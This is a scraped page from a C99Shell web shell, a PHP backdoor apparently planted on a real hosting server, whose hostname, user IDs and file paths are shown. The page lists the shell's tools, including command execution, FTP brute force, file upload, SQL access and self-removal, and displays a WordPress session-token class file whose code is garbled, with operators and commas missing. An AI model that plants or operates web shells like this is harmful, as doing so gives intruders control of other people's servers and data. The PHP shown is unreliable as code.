!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/   drwxr-xr-x
Free 183.1 GB of 490.84 GB (37.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-user-meta-session-tokens.php (3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Session API: WP_User_Meta_Session_Tokens class
 *
 * @package WordPress
 * @subpackage Session
 * @since 4.7.0
 */

/**
 * Meta-based user sessions token manager.
 *
 * @since 4.0.0
 */
class WP_User_Meta_Session_Tokens extends WP_Session_Tokens {

    
/**
     * Get all sessions of a user.
     *
     * @since 4.0.0
     * @access protected
     *
     * @return array Sessions of a user.
     */
    
protected function get_sessions() {
        
$sessions get_user_meta$this->user_id'session_tokens'true );

        if ( ! 
is_array$sessions ) ) {
            return array();
        }

        
$sessions array_map( array( $this'prepare_session' ), $sessions );
        return 
array_filter$sessions, array( $this'is_still_valid' ) );
    }

    
/**
     * Converts an expiration to an array of session information.
     *
     * @param mixed $session Session or expiration.
     * @return array Session.
     */
    
protected function prepare_session$session ) {
        if ( 
is_int$session ) ) {
            return array( 
'expiration' => $session );
        }

        return 
$session;
    }

    
/**
     * Retrieve a session by its verifier (token hash).
     *
     * @since 4.0.0
     * @access protected
     *
     * @param string $verifier Verifier of the session to retrieve.
     * @return array|null The session, or null if it does not exist
     */
    
protected function get_session$verifier ) {
        
$sessions $this->get_sessions();

        if ( isset( 
$sessions$verifier ] ) ) {
            return 
$sessions$verifier ];
        }

        return 
null;
    }

    
/**
     * Update a session by its verifier.
     *
     * @since 4.0.0
     * @access protected
     *
     * @param string $verifier Verifier of the session to update.
     * @param array  $session  Optional. Session. Omitting this argument destroys the session.
     */
    
protected function update_session$verifier$session null ) {
        
$sessions $this->get_sessions();

        if ( 
$session ) {
            
$sessions$verifier ] = $session;
        } else {
            unset( 
$sessions$verifier ] );
        }

        
$this->update_sessions$sessions );
    }

    
/**
     * Update a user's sessions in the usermeta table.
     *
     * @since 4.0.0
     * @access protected
     *
     * @param array $sessions Sessions.
     */
    
protected function update_sessions$sessions ) {
        if ( 
$sessions ) {
            
update_user_meta$this->user_id'session_tokens'$sessions );
        } else {
            
delete_user_meta$this->user_id'session_tokens' );
        }
    }

    
/**
     * Destroy all session tokens for a user, except a single session passed.
     *
     * @since 4.0.0
     * @access protected
     *
     * @param string $verifier Verifier of the session to keep.
     */
    
protected function destroy_other_sessions$verifier ) {
        
$session $this->get_session$verifier );
        
$this->update_sessions( array( $verifier => $session ) );
    }

    
/**
     * Destroy all session tokens for a user.
     *
     * @since 4.0.0
     * @access protected
     */
    
protected function destroy_all_sessions() {
        
$this->update_sessions( array() );
    }

    
/**
     * Destroy all session tokens for all users.
     *
     * @since 4.0.0
     * @access public
     * @static
     */
    
public static function drop_sessions() {
        
delete_metadata'user'0'session_tokens'falsetrue );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.4553 ]--